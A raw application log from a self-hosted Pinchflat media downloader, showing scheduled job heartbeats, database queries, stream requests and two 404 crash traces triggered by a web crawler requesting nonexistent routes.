"x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.76.113.7" }, method: "POST", body_length: 753, path_info: :un (truncated) 03:26:25.931 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:55.933 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.338 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:25.935 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:55.937 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.339 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:25.939 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:55.941 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.340 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:25.943 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:55.945 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.341 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:25.947 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:55.949 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.342 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:25.951 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:55.953 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.343 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:25.955 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:55.957 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.344 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:25.959 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:55.961 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.345 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:25.963 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:55.965 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.346 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:25.967 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:55.969 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.347 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:25.971 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:55.973 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.348 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:25.975 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:55.977 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.349 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:25.979 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:55.981 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.350 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:25.983 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:55.985 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.351 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:25.987 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:55.989 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.352 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:25.991 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:55.993 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.353 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:25.995 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:55.997 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.354 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:25.999 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:56.001 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.355 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:26.003 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:56.005 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.356 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:21.167 [info] GET /sources/3/media/3300 03:45:21.168 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3300", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 03:45:21.169 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1525.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3300] 03:45:21.170 [debug] QUERY OK source="tasks" db=0.5ms idle=1526.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3300] 03:45:21.170 [debug] QUERY OK source="sources" db=0.8ms idle=1526.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:45:21.171 [debug] QUERY OK source="settings" db=0.2ms idle=1528.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:45:21.172 [debug] QUERY OK source="settings" db=0.3ms idle=786.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:45:21.173 [debug] QUERY OK source="settings" db=0.2ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:45:21.174 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 03:45:21.178 [info] Sent 200 in 11ms 03:45:26.007 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:56.009 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.357 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:15.858 [info] GET /media/89d183c2-7aeb-4916-91c0-4dbde8a94382/stream 03:46:15.858 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "89d183c2-7aeb-4916-91c0-4dbde8a94382"} Pipelines: [:maybe_basic_auth] 03:46:15.859 [debug] QUERY OK source="media_items" db=0.6ms idle=1215.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["89d183c2-7aeb-4916-91c0-4dbde8a94382"] 03:46:15.860 [debug] Invalid range request for media item: 89d183c2-7aeb-4916-91c0-4dbde8a94382 - serving full file 03:46:15.860 [info] Sent 200 in 1ms 03:46:26.011 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:36.275 [info] GET /sources/3/media/3300/force_download 03:46:36.276 [debug] QUERY OK source="settings" db=0.2ms idle=741.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:46:36.276 [debug] QUERY OK source="settings" db=0.3ms idle=633.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:46:36.277 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:46:36.277 [error] #PID<0.256214.0> running PinchflatWeb.Endpoint (connection #PID<0.256213.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3300/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3300/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256213.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3300/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58240}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.256214.0>, params: %{}, path_info: ["sources", "3", "media", "3300", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/3/media/3300/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDAlBtSp7DrYNYAJrCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256213.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3300/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58240}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3300/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256213.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3300/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58240}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.256214.0>, params: %{}, path_info: ["sources", "3", "media", "3300", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_ (truncated) 03:46:56.013 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.358 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:26.015 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:56.017 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.359 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:13.296 [info] GET /media/cdf2da7f-08aa-4f4f-adc5-933606224679/stream 03:48:13.296 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "cdf2da7f-08aa-4f4f-adc5-933606224679"} Pipelines: [:maybe_basic_auth] 03:48:13.297 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1653.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["cdf2da7f-08aa-4f4f-adc5-933606224679"] 03:48:13.298 [debug] Invalid range request for media item: cdf2da7f-08aa-4f4f-adc5-933606224679 - serving full file 03:48:13.298 [info] Sent 200 in 2ms 03:48:26.019 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:56.021 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.360 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:26.023 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:56.025 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.361 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:26.027 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:56.029 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:58.765 [info] GET /sources/3/media/3309/force_download 03:50:58.766 [debug] QUERY OK source="settings" db=0.2ms idle=1122.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:50:58.766 [debug] QUERY OK source="settings" db=0.2ms idle=1123.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:50:58.767 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:50:58.767 [error] #PID<0.256243.0> running PinchflatWeb.Endpoint (connection #PID<0.256242.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3309/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3309/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256242.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3309/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60544}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.256243.0>, params: %{}, path_info: ["sources", "3", "media", "3309", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/3/media/3309/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDA0Tj1XZEX5qsAJrMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256242.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3309/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60544}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3309/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256242.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3309/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60544}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", 